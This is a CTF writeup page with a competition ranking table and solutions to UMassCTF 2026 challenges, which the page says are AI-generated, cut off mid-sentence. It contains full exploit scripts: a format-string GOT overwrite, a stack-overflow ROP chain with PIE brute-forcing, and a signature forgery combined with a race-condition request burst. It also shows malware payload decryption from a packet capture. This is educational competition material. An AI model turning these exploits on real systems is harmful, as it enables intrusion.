# Home A collection of CTF challenge writeups, aimed towards beginners for now. Hey all, taking a break from CTF. See (came back for two comps on 2026/04/12, maybe more in the future but infrequent) ~~Try out~~ [~~krauq.ai~~](https://www.krauq.ai/)~~, a free AI CTF solver with access to hundreds of tools and many other features. Feedback appreciated.~~ Feel free to message on Discord (\_krauq) for suggestions/questions. CTFtime:
Name/Writeups Link# of SolvesPlaceTeam
UMassCTF 20263114th out of 865 teamsSolo
DawgCTF 2026~606th out of 674 teamsSolo
UNbreakable 2026191st out of 321 teamsSolo
SrdnlenCTF 2026186th out of 434 teamsSolo
0xFunCTF 2026~805th out of 1359 teamsSolo
LACTF 2026458th out of 952 teamsSolo
PragyanCTF 2026229th out of 893 teamsSolo
NullconCTF 2026366th out of 637 teamsSolo
PascalCTF 20262913th out of 855 teamsSolo
KnightCTF 2026254th out of 890 teamsSolo
ScarletCTF 2026292nd out of 762 teamsSolo
UofTCTF 20262930th out of 1551 teamsSolo
VuwCTF 2025291st out of 246 teamsSolo
ScriptCTF 20252938th out of 1190 teamsSolo
CubeCTF 2025109th out of 375 teamsSolo
GoogleCTF 202561st out of 276 teamsFMC
BCACTF 20243632nd out of 823 teamsSolo
UTCTF 20242412th out of 854 teamsSolo
WolvCTF 2024121st out of 622 teamsPJSK
vikeCTF 2024156th out of 326 teamsSolo
Bi0sCTF 2024278th out of 294 teamsSolo
BroncoCTF 2024281st out of 284 teamsSolo
DiceCTF 2024893rd out of 1040 teamsSolo
TetCTF 2024524th out of 838 teamsSolo
Mapna CTF 2024935th out of 685 teamsSolo
#### 2026 Edit: **1st** 🌎 (03/15/26). Now retired.
Currently **1st** 🌎 (02/09/26).
#### 2025 Spent most of 2025 playing in bigger teams #### 2024 Peaked **2nd** 🇺🇸, **23rd** 🌎 (2024/04/10)
#### 2023 Started competing on October 20th, ended the year **88th** 🇺🇸, **864th** 🌎 # UMassCTF 2026 Solutions to most challenges Disclaimer: AI-generated solutions, let me know if there are any errors. ## binary\_exploitation ### Brick City Office Space #### Description The binary prints a building template, asks for ASCII art, and then prints the supplied input back into the middle of the building. The hint points directly at a format string issue. Relevant properties: * 32-bit ELF * NX enabled * No PIE * No canary * No RELRO The bug is in `vuln()`: user input is passed directly to `printf`, so the program has a format string vulnerability. #### Solution Because the binary is dynamically linked and the challenge ships its own `libc.so.6`, the cleanest path is: 1. Leak a libc address from `printf@got`. 2. Compute the libc base. 3. Overwrite `printf@got` with `system`. 4. On the next prompt, send `cat flag.txt`. The input buffer itself is also on the stack, so appended addresses can be referenced by positional format arguments. Empirically: * `fmtstr_payload(..., offset=4)` is correct for writes. * Appending `p32(printf_got)` and reading it with `%7$s` reliably leaks the resolved `printf` pointer. After the overwrite, the program still does `printf(user_input)`, but now that call is effectively `system(user_input)`, so sending `cat flag.txt` prints the flag. Full solve script: ```python #!/usr/bin/env python3 import os import re from pwn import * HOST = "brick-city-office-space.pwn.ctf.umasscybersec.org" PORT = 45001 BASE_DIR = os.path.abspath("./attachments/brick-city-office-space") BIN_PATH = os.path.join(BASE_DIR, "BrickCityOfficeSpace") LIBC_PATH = os.path.join(BASE_DIR, "libc.so.6") LD_PATH = os.path.join(BASE_DIR, "ld-linux.so.2") context.binary = ELF(BIN_PATH) elf = context.binary libc = ELF(LIBC_PATH) def start(): if args.LOCAL: return process( [LD_PATH, "--library-path", BASE_DIR, BIN_PATH], cwd=BASE_DIR, ) return remote(HOST, PORT) def send_design(io, payload: bytes): io.recvuntil(b"BrickCityOfficeSpace> ") io.sendline(payload) def choose_redesign(io, answer: bytes): io.recvuntil(b"(y/n)") io.sendline(answer) def leak_printf(io) -> int: payload = b"MARK%7$sENDD" + p32(elf.got["printf"]) send_design(io, payload) data = io.recvuntil(b"ENDD") start = data.index(b"MARK") + 4 return u32(data[start : start + 4]) def overwrite_printf_with_system(io, system_addr: int): payload = fmtstr_payload(4, {elf.got["printf"]: system_addr}, write_size="short") send_design(io, payload) choose_redesign(io, b"y") def main(): io = start() printf_addr = leak_printf(io) libc.address = printf_addr - libc.sym["printf"] log.info(f"printf@libc = {printf_addr:#x}") log.info(f"libc base = {libc.address:#x}") log.info(f"system = {libc.sym['system']:#x}") choose_redesign(io, b"y") overwrite_printf_with_system(io, libc.sym["system"]) send_design(io, b"cat flag.txt") data = io.recvuntil(b"(y/n)", timeout=5) match = re.search(rb"UMASS\{[^}]+\}", data) if match: print(match.group().decode()) else: io.interactive() if __name__ == "__main__": main() ``` Recovered flag: ``` UMASS{th3-f0rm4t_15-0ff-th3-ch4rt5} ``` ### Brick Workshop #### Description The binary exposes a simple menu. Option `3` enters the diagnostics flow: * On the first visit, it asks for `mold_id` and `pigment_code`, stores a global `service_initialized = 1`, and returns. * On later visits, it calls `diagnostics_bay(mold_id, pigment_code)`. The bug is that `mold_id` and `pigment_code` are local variables in `workshop_turn()` and are only initialized during the first diagnostics call. On the second call they are reused uninitialized, which means the same stack slots still contain the previously entered values. Relevant logic: ```c static unsigned int clutch_score(unsigned int mold_id, unsigned int pigment_code) { return (((mold_id >> 2) & 0x43u) | pigment_code) + (pigment_code << 1); } static void workshop_turn(void) { int choice; unsigned int mold_id; unsigned int pigment_code; ... if (!service_initialized) { scanf("%u %u", &mold_id, &pigment_code); service_initialized = 1; return; } diagnostics_bay(mold_id, pigment_code); } ``` The win condition is: ```c clutch_score(mold_id, pigment_code) == 0x23ccd ``` Choose `pigment_code = 0xBEEF = 48879`. Then: ``` 3 * 0xBEEF = 0x23CCD ``` Also, `0xBEEF & 0x43 == 0x43`, so the `(((mold_id >> 2) & 0x43) | pigment_code)` part stays equal to `pigment_code` regardless of `mold_id`. That means any `mold_id` works; `0` is fine. #### Solution Exploit steps: 1. Choose menu option `3`. 2. Enter `0 48879`. 3. Choose menu option `3` again. On the second visit, the binary reuses the old stack values and reaches `win()`. Minimal exploit: ```python from pwn import * HOST = "bad-eraser-brick-workshop.pwn.ctf.umasscybersec.org" PORT = 45002 io = remote(HOST, PORT) io.sendlineafter(b"> ", b"3") io.sendlineafter(b"Enter mold id and pigment code.\n", b"0 48879") io.sendlineafter(b"> ", b"3") io.interactive() ``` One-shot shell version: ```bash printf '3\n0 48879\n3\n' | nc bad-eraser-brick-workshop.pwn.ctf.umasscybersec.org 45002 ``` Recovered flag: ``` UMASS{brickshop_calibration_reuses_your_last_batch} ``` ### Factory Monitor #### Description Binary exploitation challenge (500 pts). A factory monitor CLI binary forks child processes for "machines." The binary is a 64-bit static-PIE ELF with Full RELRO, NX, PIE, and stack canaries in libc functions (but not in user functions). #### Solution **Vulnerability:** The `read_line_fd()` function reads bytes one at a time into a buffer with no bounds check, causing a stack buffer overflow in `machine_main_demo()` (256-byte `msg` buffer) and potentially in `cli_recv()` (parent's 256-byte buffer). **Key observations:** 1. No stack canary in user functions (`machine_main_demo`, `cli_recv`, etc.) 2. Child processes are automatically restarted by `machine_monitor()` when they crash (signal) or exit with non-zero status, but NOT when they exit with status 0 3. The `call exit` instruction at binary offset `0xb457` is reachable by overwriting only the lowest byte of the return address (original at `0xb43d`) 4. This creates an oracle: overwrite partial return address, send "exit" to trigger return, then `monitor` to distinguish "exited successfully" (correct address) vs "killed by signal" (wrong address) **Phase 1 - PIE base brute force (byte-by-byte):** Overwrite the return address of `machine_main_demo` one byte at a time, starting from byte 0 (known: `0x57` from the `call exit` offset). For each subsequent byte, try all candidates and check the child's exit behavior via `monitor`: * "exited successfully" (exit code 0) = correct byte, manually `cleanup` + `start` + `recv` * "killed by signal" = wrong byte, machine auto-restarts, just `recv` Byte 1 has 16 candidates (PIE page alignment), bytes 2-5 have 256 candidates each. **Phase 2 - ROP chain:** After recovering the full PIE base, build a ROP chain using gadgets from the static binary: * `pop rdi; pop rbp; ret` (0xc028) * `pop rsi; pop rbp; ret` (0x15b26) * `ret` (0x901a) And call binary functions directly: 1. `read_line_fd(pipe_fd=3, bss_path)` - read "/ctf/flag.txt" from parent pipe into BSS 2. `open(bss_path, O_RDONLY)` - open flag file (returns fd 4) 3. `read_line_fd(4, bss_buf)` - read flag content into BSS 4. `puts(bss_buf)` - output flag to stdout (socat socket) Using `read_line_fd` instead of `read()` avoids needing to set `rdx` (3rd argument), which only had `pop rdx; leave; ret` available (complicated by the stack pivot). BSS addresses are dynamically chosen to avoid 0x0a (newline) bytes. **Payload flow:** 1. `send 0 ` - overflow child buffer 2. `send 0 exit` - trigger return, ROP chain starts, blocks on pipe read 3. `send 0 /ctf/flag.txt` - feed flag path to ROP chain's `read_line_fd` 4. Child's `puts` outputs flag directly to our socket **Flag:** `UMASS{AsLR_L3Ak}` ```python #!/usr/bin/env python3 from pwn import * import sys import time import resource # Disable core dumps to avoid apport slowdown on child crashes resource.setrlimit(resource.RLIMIT_CORE, (0, 0)) context.arch = 'amd64' BINARY = './attachments/unpacked/factory-monitor' elf = ELF(BINARY, checksec=False) # Target: 'call exit' at offset 0xb457 in the binary TARGET_OFFSET = 0xb457 # Buffer overflow geometry (child's machine_main_demo) BUF_TO_RBP = 0x110 BUF_TO_RET = 0x118 # Gadget offsets POP_RDI_RBP = 0xc028 # pop rdi; pop rbp; ret POP_RSI_RBP = 0x15b26 # pop rsi; pop rbp; ret POP_RAX = 0x40dcb # pop rax; ret SYSCALL_RET = 0x1cfd6 # syscall; ret RET = 0x901a # ret POP_RBP = 0x940d # pop rbp; ret # Function offsets READ_LINE_FD = 0x9f9f OPEN_FUNC = 0x38a40 PUTS_FUNC = 0x15fc0 # BSS offset BSS_OFFSET = 0xc5a00 CHILD_PIPE_FD = 3 # child's pipe[0] (read from parent) FLAG_FD = 4 # fd returned by open (first available after 0,1,2,3,6) def connect(): if len(sys.argv) > 1 and sys.argv[1] == 'remote': return remote('factory-monitor.pwn.ctf.umasscybersec.org', 45000) elif len(sys.argv) > 1 and sys.argv[1] == 'docker': return remote('localhost', 45001) else: return process(BINARY) def send_cmd(r, cmd): r.sendline(cmd) return r.recvuntil(b'factory> ', timeout=15) def setup(r): r.recvuntil(b'factory> ') send_cmd(r, b'create test') send_cmd(r, b'start 0') send_cmd(r, b'recv 0') def brute_byte(r, known_bytes, byte_pos): if byte_pos == 1: candidates = [] for x in range(16): val = ((x * 0x1000 + TARGET_OFFSET) >> 8) & 0xFF candidates.append(val) seen = set() candidates = [c for c in candidates if not (c in seen or seen.add(c))] else: candidates = list(range(256)) for trial in candidates: partial_ret = known_bytes + bytes([trial]) padding = b'A' * BUF_TO_RBP fake_rbp = b'B' * 8 payload = padding + fake_rbp + partial_ret if b'\n' in payload: continue send_cmd(r, b'send 0 ' + payload) send_cmd(r, b'send 0 exit') time.sleep(0.05) found_result = None for attempt in range(15): resp = send_cmd(r, b'monitor 0') if b'exited successfully' in resp: log.success(f" Byte {byte_pos}: {trial:#04x}") send_cmd(r, b'cleanup 0') send_cmd(r, b'start 0') send_cmd(r, b'recv 0') return trial elif b'exited with status' in resp or b'killed by signal' in resp: send_cmd(r, b'recv 0') found_result = False break else: time.sleep(0.05) if found_result is None: send_cmd(r, b'send 0 exit') time.sleep(0.5) resp = send_cmd(r, b'monitor 0') if b'exited successfully' in resp: send_cmd(r, b'cleanup 0') send_cmd(r, b'start 0') send_cmd(r, b'recv 0') return trial elif b'exited' in resp or b'killed' in resp: if b'exited successfully' not in resp: send_cmd(r, b'recv 0') else: send_cmd(r, b'cleanup 0') send_cmd(r, b'start 0') send_cmd(r, b'recv 0') return None def find_safe_bss(pie_base): bss = pie_base + BSS_OFFSET safe_addrs = [] for off in range(0x1000, 0x6800, 0x100): addr = bss + off if b'\n' not in p64(addr): safe_addrs.append((off, addr)) if len(safe_addrs) >= 3: break if len(safe_addrs) < 3: return None, None, None return safe_addrs[0][1], safe_addrs[1][1], safe_addrs[2][1] def build_rop_chain(pie_base): bss_path, bss_buf, bss_rbp = find_safe_bss(pie_base) if bss_path is None: return None g = lambda off: p64(pie_base + off) chain = b'' # read_line_fd(3, bss_path) - read flag path from pipe chain += g(POP_RDI_RBP) + p64(CHILD_PIPE_FD) + p64(0) chain += g(POP_RSI_RBP) + p64(bss_path) + p64(0) chain += g(READ_LINE_FD) # open(bss_path, 0) chain += g(POP_RDI_RBP) + p64(bss_path) + p64(0) chain += g(POP_RSI_RBP) + p64(0) + p64(0) chain += g(OPEN_FUNC) # read_line_fd(4, bss_buf) - read flag content chain += g(POP_RDI_RBP) + p64(FLAG_FD) + p64(0) chain += g(POP_RSI_RBP) + p64(bss_buf) + p64(0) chain += g(READ_LINE_FD) # puts(bss_buf) - output flag chain += g(RET) chain += g(POP_RDI_RBP) + p64(bss_buf) + p64(0) chain += g(PUTS_FUNC) return chain def main(): context.log_level = 'info' r = connect() setup(r) known_ret_bytes = bytearray([TARGET_OFFSET & 0xFF]) log.info("Phase 1: PIE base brute force") for byte_pos in range(1, 6): log.info(f"Brute forcing byte {byte_pos}...") result = brute_byte(r, bytes(known_ret_bytes), byte_pos) if result is None: log.error(f"Failed to find byte {byte_pos}") r.close() return known_ret_bytes.append(result) ret_addr = u64(bytes(known_ret_bytes).ljust(8, b'\x00')) pie_base = ret_addr - TARGET_OFFSET log.success(f"PIE BASE: {hex(pie_base)}") log.info("Phase 2: ROP chain") chain = build_rop_chain(pie_base) if chain is None: return bss = pie_base + BSS_OFFSET fake_rbp_addr = bss + 0x5800 for off in range(0x5800, 0x6800, 0x100): if b'\n' not in p64(bss + off): fake_rbp_addr = bss + off break payload = b'A' * BUF_TO_RBP + p64(fake_rbp_addr) + chain if b'\n' in payload: log.error("Payload contains newline bytes") return send_cmd(r, b'send 0 ' + payload) send_cmd(r, b'send 0 exit') time.sleep(0.1) send_cmd(r, b'send 0 /ctf/flag.txt') time.sleep(1) try: data = r.recvrepeat(2) if b'UMASS' in data: flag = data[data.index(b'UMASS'):].split(b'}')[0] + b'}' log.success(f"FLAG: {flag.decode()}") except: pass r.interactive() if __name__ == '__main__': main() ``` *** ## cryptography ### The Accursed Lego Bin #### Description The challenge encrypts the string `I_LOVE_RNG` with textbook RSA using `e = 7`, calls the ciphertext `seed`, then writes out `seed^7 mod n` and a flag whose bits were shuffled ten times with Python's `random.shuffle`. #### Solution The RSA step is broken because the plaintext is tiny: * `m = int.from_bytes(b"I_LOVE_RNG", "big")` is 79 bits. * `m^7` is only 548 bits, so `m^7 < n` for a 4096-bit RSA modulus. * The published `seed` is actually `(m^7)^7 mod n = m^49`, and `m^49` is still only 3832 bits, so this is also below `n`. * Therefore the huge integer in `output.txt` is exactly `int.from_bytes(b"I_LOVE_RNG", "big")**49`. Once `m` is known, the original PRNG seed used by the program is just `m^7`. Recreate the ten shuffles on an index list of the correct bit length, then apply the inverse permutations in reverse order to undo the scrambling. ```python import random ENC_SEED = 27853968878118202600616227164274184566757028924504378904793832254042520819991144639702067205911203237440164930417495337197532501173607130020895075421529488925453640401673956438276491981209692168887241600331323119747563338336714474549971016558306628074198388772585672217715120627041791075104601103026751194857235765309608359123653353317678322176850235969280946203083455072140605141795053378439195293814791874092411691470992665912679118059266672118104677436338717139016415491690881114160151442145485980845723522027034166250144387200630948484934412980402141190370298072772878692178174395473352346736568834853932546775351591579301264010616662074516876263415244325179769805404580595987957830206775099221681479552297343673953519347816803686755315058241114932909715588571465125584675910868587612361307253375806962785674201551995414052898626175776112925401104907258409223265509906782478388392655489350014728299523474441953620142576405825798349964376116586305354010422094308152856531053593521850744465605649669069637606613192817098670399196448110611736116364403445860585755736974514672765253945103150765043635481842335038685418842068710568699703147745504514090439 FLAG_HEX = "a9fa3c5e51d4cea498554399848ad14aa0764e15a6a2110b6613f5dc87fa70f17fafbba7eb5a2a5179" msg = int.from_bytes(b"I_LOVE_RNG", "big") assert msg**49 == ENC_SEED seed = msg**7 bits = list("".join(f"{byte:08b}" for byte in bytes.fromhex(FLAG_HEX))) for round_idx in range(9, -1, -1): random.seed(seed * (round_idx + 1)) perm = list(range(len(bits))) random.shuffle(perm) prev = [None] * len(bits) for shuffled_pos, original_pos in enumerate(perm): prev[original_pos] = bits[shuffled_pos] bits = prev flag = "".join(chr(int("".join(bits[i:i+8]), 2)) for i in range(0, len(bits), 8)) print(flag) ``` Recovered flag: ``` UMASS{tH4Nk5_f0R_uN5CR4m8L1nG_mY_M3554g3} ``` ### Unfinished Ninjago Game ``` UMASS{sparse_fourier_transforms_are_so_much_fun!fhwtftw!yayayay} ``` A binary implements a text adventure game built around xoshiro512, a 512-bit linear PRNG (8 x 64-bit words). On each connection: 1. The PRNG state `s[0..7]` is seeded via `getrandom()` (512 random bits) 2. The flag (up to 64 bytes) is read into a buffer pre-filled with `getrandom()` output 3. The ciphertext `ct[i] = buffer[i] XOR state_byte[i]` (8 uint64 words) is printed 4. The player can issue commands including: * `m` ("middle"): observe `(sum(s[i] % 101 for i in range(8))) % 101` (one byte) * Various navigation commands that trigger PRNG jumps (advance by `2^k` steps) A stack-based stale-pointer vulnerability allows the player to trigger arbitrary jump powers (2^0 through 2^496) on demand, giving full control over which PRNG state is observed. #### 1. The observation is linear over GF(101) The `explore_middle()` function computes `(s[0]%101 + s[1]%101 + ... + s[7]%101) % 101`. Confirmed by disassembly: each word is reduced mod 101 individually before summing, so there is no uint64 overflow. Each word `s[w] = sum_b 2^b * bit_{w,b}` has residue `s[w] % 101 = sum_b (2^b mod 101) * bit_{w,b} mod 101`. So the observation is a linear function of the 512 state bits over GF(101): ``` obs = sum_{i=0}^{511} c_{i%64} * state_bit[i] (mod 101) ``` where `c_b = 2^b mod 101`. #### 2. Step-0 observations avoid XOR nonlinearity After `next()` is called, each state bit becomes the XOR (parity) of multiple original state bits. Computing `sum mod 101` of XOR parities creates a "mixed modulus" problem: XOR is GF(2)-linear while the observation is Z/101Z-linear. The composition is nonlinear over both fields. At step 0, however, each state bit is just itself -- the identity mask. No XOR combining occurs, so the observation is perfectly linear over GF(101). #### 3. The flag is exactly 64 bytes This is the critical insight. With `flag_len = 64`, the flag fills the entire 64-byte buffer. There are no random tail bytes, so `state = flag XOR ct` with `flag` shared across all connections. Each connection's step-0 observation gives one linear equation in the 512 flag bits over GF(101). With enough connections, the system is solvable. #### 4. Multi-connection linear system For connection `j` with ciphertext bits `ct_j` and observation `obs_j`: ``` obs_j = sum_i c_{i%64} * (flag_bit[i] XOR ct_j_bit[i]) (mod 101) ``` Since `ct_j_bit[i]` is known, `flag_bit XOR ct_bit` is linear in `flag_bit`: * If `ct_bit = 0`: coefficient is `+c` * If `ct_bit = 1`: coefficient is `-c`, plus constant `+c` This gives: `A * flag_bits = rhs (mod 101)` with 600 equations in 512 unknowns. #### Data Collection Collected 600 step-0 observations from independent connections (`linear_pairs.json`). Each entry contains the ciphertext (8 uint64 words) and the observation value. #### Solving Built the 600x512 coefficient matrix `A` and RHS vector `rhs` over GF(101), then solved via Gaussian elimination: ```python # For each connection j: for i in range(512): weight = pow(2, i % 64, 101) if ct_bit_j[i] == 0: A[j, i] = weight else: A[j, i] = (-weight) % 101 constant += weight rhs[j] = (obs_j - constant) % 101 # Solve A * x = rhs over GF(101) x, rank, status = solve_gf101(A, rhs) # rank = 512, all values in {0, 1} ``` The system has full rank (512/512). The unique solution is perfectly binary (all values 0 or 1), confirming the flag length is exactly 64. Assembling the bits into bytes gives the flag. #### Verification Cross-verified against all 600 connections: predicted observations match actual observations for every connection. Also verified against independent data (`fresh512.json` step-0 observation). ### Hens and Roosters #### Description The service gives each fresh `uid` zero studs and lets `/work` increment the stud count if you submit a valid UOV signature for the current payload `"{studs}|{uid}"`. Reaching 7 studs and then calling `/buy` returns the flag. Two issues make this exploitable: 1. The public key is enough to sign. The 57 public quadratic forms all share the same 57-dimensional right kernel, which exposes the oil space directly. After changing basis so the oil variables are last, the public key has the usual UOV shape and we can solve for oil variables using only the public key. 2. `/work` caches verification by the raw hex string, not by the decoded bytes. Hex is accepted in mixed case, so the same signature bytes can be sent under many different spellings. `/work` also reads `studs` before verification, so a burst of valid mixed-case encodings for `0|uid` can all increment the same account from the same starting state. The working live strategy was: * Get a fresh `uid`. * Forge a valid signature for `0|uid`. * Send 8 mixed-case encodings of that same signature with unique query strings. * Wait for the backend to process them. * Redeem once with `/buy`. #### Solution ```python #!/usr/bin/env sage -python import concurrent.futures import hashlib import re import secrets import time import requests from sage.all import GF, ZZ, VectorSpace, load, matrix, random_vector, vector BASE = "http://hensandroosters.crypto.ctf.umasscybersec.org" PUBLIC_KEY_PATH = "attachments/DOWNLOADABLE_ASSETS/backend/public_key.sobj" WORK_CONNECT_TIMEOUT = 5 WORK_READ_TIMEOUT = 2 BUY_CONNECT_TIMEOUT = 5 BUY_READ_TIMEOUT = 58 BUY_RETRY_DELAY = 15 EXTRA_BURST_SPARE = 1 class PublicUOV: def __init__(self, public_key_path: str): self.pk = load(public_key_path.removesuffix(".sobj")) self.field = self.pk[0].base_ring() self.m = len(self.pk) self.n = self.pk[0].ncols() self.v = self.n - self.m kernel = self.pk[0].right_kernel() if not all(M.right_kernel() == kernel for M in self.pk): raise RuntimeError("public matrices do not share a common right kernel") ambient = VectorSpace(self.field, self.n) oil_basis = list(kernel.basis()) full_basis = oil_basis[:] for basis_vec in ambient.basis(): if len(full_basis) == self.n: break if ambient.subspace(full_basis + [basis_vec]).dimension() > len(full_basis): full_basis.append(basis_vec) vinegar_basis = full_basis[self.m :] ordered_basis = vinegar_basis + oil_basis self.B = matrix(self.field, self.n, self.n, lambda i, j: ordered_basis[j][i]) if self.B.rank() != self.n: raise RuntimeError("failed to build an invertible basis change") self.public_in_secret_basis = [self.B.transpose() * M * self.B for M in self.pk] for M in self.public_in_secret_basis: if any(M[i, j] != 0 for i in range(self.n) for j in range(self.v, self.n)): raise RuntimeError("basis change did not expose the oil columns") def _target(self, msg: str): bits = ZZ([x for x in hashlib.shake_128(msg.encode()).digest(self.m)], 256).digits(2)[: self.m] return vector(self.field, bits) def sign(self, msg: str) -> str: target = self._target(msg) while True: vinegar = random_vector(self.field, self.v) linear_system = matrix( self.field, [M.submatrix(self.v, 0, self.m, self.v) * vinegar for M in self.public_in_secret_basis], ) if linear_system.rank() == self.m: break constant_terms = vector( self.field, [vinegar * M.submatrix(0, 0, self.v, self.v) * vinegar for M in self.public_in_secret_basis], ) oil = linear_system.solve_right(target - constant_terms) signature = self.B * vector(list(vinegar) + list(oil)) raw = bytes(element.to_integer() for element in signature) return raw.hex() def unique_url(path: str) -> str: sep = "&" if "?" in path else "?" return f"{BASE}{path}{sep}n={secrets.token_hex(4)}" def get_uid(session: requests.Session) -> str: while True: response = session.get( unique_url("/"), timeout=(BUY_CONNECT_TIMEOUT, BUY_READ_TIMEOUT), headers={"Connection": "close"}, ) match = re.search(r"uid is ([0-9a-f]+)", response.text) if response.status_code == 200 and match: return match.group(1) time.sleep(2) def parse_status(text: str): text = text.strip() flag_match = re.search(r"(UMASS\{[^}]+\})", text) if flag_match: return {"studs": 7, "flag": flag_match.group(1), "missing": False} if "don't even have any studs" in text: return {"studs": 0, "flag": None, "missing": False} if "Only 1 stud" in text: return {"studs": 1, "flag": None, "missing": False} multi_match = re.search(r"Only (\d+) studs\?", text) if multi_match: return {"studs": int(multi_match.group(1)), "flag": None, "missing": False} if "does not exist" in text: return {"studs": None, "flag": None, "missing": True} return None def buy_status(session: requests.Session, uid: str): try: response = session.get( unique_url(f"/buy?uid={uid}"), timeout=(BUY_CONNECT_TIMEOUT, BUY_READ_TIMEOUT), headers={"Connection": "close"}, ) if response.status_code >= 500: return None return parse_status(response.text) except requests.RequestException: return None def case_variants(signature: str, count: int): letter_positions = [index for index, char in enumerate(signature) if char in "abcdef"] bits_needed = max(1, (count - 1).bit_length()) if len(letter_positions) < bits_needed: raise RuntimeError("not enough hex letters for distinct case variants") variants = [] for mask in range(count): chars = list(signature) for bit in range(bits_needed): if mask & (1 << bit): pos = letter_positions[bit] chars[pos] = chars[pos].upper() variants.append("".join(chars)) return variants def fire_work(uid: str, signature: str): try: requests.post( unique_url("/work"), json={"uid": uid, "sig": signature}, timeout=(WORK_CONNECT_TIMEOUT, WORK_READ_TIMEOUT), headers={"Connection": "close"}, ) except requests.RequestException: pass def burst_stage(uid: str, signer: PublicUOV, stage: int, count: int): payload = f"{stage}|{uid}" signature = signer.sign(payload) variants = case_variants(signature, count) with concurrent.futures.ThreadPoolExecutor(max_workers=count) as pool: futures = [pool.submit(fire_work, uid, variant) for variant in variants] for future in concurrent.futures.as_completed(futures): future.result() def round_buy_delay(work_count: int) -> int: return 60 + 5 * work_count def main(): signer = PublicUOV(PUBLIC_KEY_PATH) with requests.Session() as session: uid = get_uid(session) current_stage = 0 deadline = time.time() + 220 while time.time() < deadline: work_count = (7 - current_stage) + EXTRA_BURST_SPARE burst_stage(uid, signer, current_stage, work_count) time.sleep(round_buy_delay(work_count)) for attempt in range(2): status = buy_status(session, uid) if status is None: if attempt == 0: time.sleep(BUY_RETRY_DELAY) continue if status["flag"]: print(status["flag"]) return if status["missing"]: raise RuntimeError("buy likely consumed the uid before the response was captured") if status["studs"] is not None and status["studs"] > current_stage: current_stage = status["studs"] break else: raise RuntimeError(f"no visible progress from stage {current_stage}") raise RuntimeError("deadline expired") if __name__ == "__main__": main() ``` This returned: ``` UMASS{oil_does_mix_with_oil_but_roosters_dont} ``` *** ## forensics ### Click Here For Free Bricks #### Description We are given a packet capture of a malware download and asked for the VirusTotal name of the malware in the format `UMASS{[String]_[Sha256 Hash]}`. #### Solution First, inspect the description and extract the HTTP objects from the PCAP: ```bash tshark -r attachments/thedamage.pcapng -Y 'http.request' \ -T fields -e frame.number -e ip.dst -e http.request.method -e http.request.uri tshark -r attachments/thedamage.pcapng --export-objects http,extracted_http find extracted_http -maxdepth 1 -type f -printf '%f\n' | sort ``` This shows the victim downloading: ``` fungame.jpg cooldog.jpeg installer.py literallyme.jpeg launcher ``` Read the installer: ```bash sed -n '1,200p' extracted_http/installer.py ``` It decrypts `./launcher` in place with a NaCl `SecretBox` key derived from: ```python seed = "38093248092rsjrwedoaw3" key = hashlib.sha256(seed.encode()).digest() ``` Decrypt the payload: ```python import hashlib import nacl.secret seed = "38093248092rsjrwedoaw3" key = hashlib.sha256(seed.encode()).digest() box = nacl.secret.SecretBox(key) with open("extracted_http/launcher", "rb") as f: data = f.read() decrypted = box.decrypt(data) with open("decrypted_launcher", "wb") as f: f.write(decrypted) ``` Hash it: ```bash sha256sum extracted_http/launcher decrypted_launcher file decrypted_launcher ``` Result: ``` 695b3eeeb8a4a4d22405d78732f19c6e42527d374ae3b23ba1c4e4b757e10359 extracted_http/launcher e7a09064fc40dd4e5dd2e14aa8dad89b328ef1b1fdb3288e4ef04b0bd497ccae decrypted_launcher decrypted_launcher: FreeBSD/i386 compact demand paged dynamically linked executable not stripped ``` The original challenge text is slightly misleading. The live challenge page says the answer is the malware name on VirusTotal **under the Details tab**, and gives an example where the string appears as `String_sha256`. To inspect the VT details without an API key, load the public UI JSON or the rendered page: ```python import asyncio import json from playwright.async_api import async_playwright TARGET = "https://www.virustotal.com/gui/file/e7a09064fc40dd4e5dd2e14aa8dad89b328ef1b1fdb3288e4ef04b0bd497ccae" async def main(): async with async_playwright() as p: browser = await p.chromium.launch(headless=True) page = await browser.new_page() payload = {} async def on_response(resp): if resp.url == "https://www.virustotal.com/ui/files/e7a09064fc40dd4e5dd2e14aa8dad89b328ef1b1fdb3288e4ef04b0bd497ccae": payload["json"] = json.loads(await resp.text()) page.on("response", on_response) await page.goto(TARGET, wait_until="networkidle", timeout=60000) await page.wait_for_timeout(5000) names = payload["json"]["data"]["attributes"]["names"] for name in names: print(name) await browser.close() asyncio.run(main()) ``` One of the names in the VT Details tab is: ``` TheZoo_e7a09064fc40dd4e5dd2e14aa8dad89b328ef1b1fdb3288e4ef04b0bd497ccae ``` That directly matches the challenge’s expected `String_sha256` pattern, so: ``` UMASS{TheZoo_e7a09064fc40dd4e5dd2e14aa8dad89b328ef1b1fdb3288e4ef04b0bd497ccae} ``` ### Lost and Found #### Description Help! I was running commands on my ultra minimalistic Linux VM when I installed my favorite package and everything turned into nonsense! #### Solution The challenge gives an `.ova` containing an Alpine VM. The fastest path was to inspect it offline instead of booting it. Extract the OVA and decompress the disk: ```bash curl -L --fail -o ctf-vm.ova \ https://storage.googleapis.com/umassctf26-static/forensics-lost-and-found/ctf-vm.ova 7z x -y ctf-vm.ova 7z x -y ctf-vm-disk1.vmdk.gz qemu-img convert -O raw ctf-vm-disk1.vmdk ctf-vm-disk1.raw fdisk -l ctf-vm-disk1.raw ``` The root filesystem is partition 3, starting at sector `3430400`. Mount it read-only with `fuse2fs`: ```bash mkdir -p mnt-root fuse2fs -o ro,norecovery,fakeroot,offset=$((3430400*512)) ctf-vm-disk1.raw mnt-root ``` Root shell history immediately gives the important lead: ```bash sed -n '1,200p' mnt-root/root/.ash_history ``` Relevant commands: ``` cargo install xor ... for f in $(find . -type d); do echo "kajdsfojczvioxjoij3" >> $f/red-herring; done ... git stash ``` The installed tool is the Rust crate `xor`, which recursively XOR-encrypts file contents and renames files by XORing the name and hex-encoding it. The crate source is still present on disk: ```bash sed -n '1,120p' \ mnt-root/root/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/xor-1.4.5/README.md ``` That README explains the exact rename format. The repeated filename `08555D451D131A075A5D0E` is clearly `red-herring`, so we can recover the beginning of the key. Then the known decoy file content `kajdsfojczvioxjoij3\n` extends it. Finally, the standard `.git/hooks/pre-rebase.sample` from `git init` reveals a full 512-byte repeating XOR key stream. Key recovery: ```python from pathlib import Path # recover the 512-byte repeating keystream from a known git hook sample ct = Path("mnt-root/home/5457501C/125F560306/0A425C4507130A1440564740030F051A10").read_bytes() pt = Path("tmp-git-probe/.git/hooks/pre-rebase.sample").read_bytes() key = bytes(c ^ p for c, p in zip(ct[:512], pt[:512])) print(len(key)) # 512 ``` Using that keystream, decrypt the 